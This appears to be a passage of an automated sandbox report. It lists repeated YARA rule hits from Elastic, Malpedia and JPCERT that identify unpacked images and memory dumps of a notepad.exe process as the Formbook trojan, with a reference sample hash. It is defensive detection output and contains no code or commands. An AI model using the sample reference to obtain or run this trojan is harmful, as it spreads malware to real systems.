Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
